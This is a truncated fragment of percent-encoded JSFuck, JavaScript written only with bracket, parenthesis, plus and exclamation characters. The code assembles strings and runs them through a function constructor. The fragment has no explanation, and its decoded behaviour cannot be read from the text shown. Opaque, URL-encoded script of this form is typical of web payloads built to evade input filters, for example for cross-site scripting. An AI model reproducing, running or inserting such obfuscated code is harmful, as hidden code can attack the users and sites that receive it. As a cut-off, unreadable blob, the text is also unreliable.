2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%29%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%2B%28%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%29%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%5B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%29%5B%28%5B%5D%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%28%29%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%2B%5B%5D%5D%29%5B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%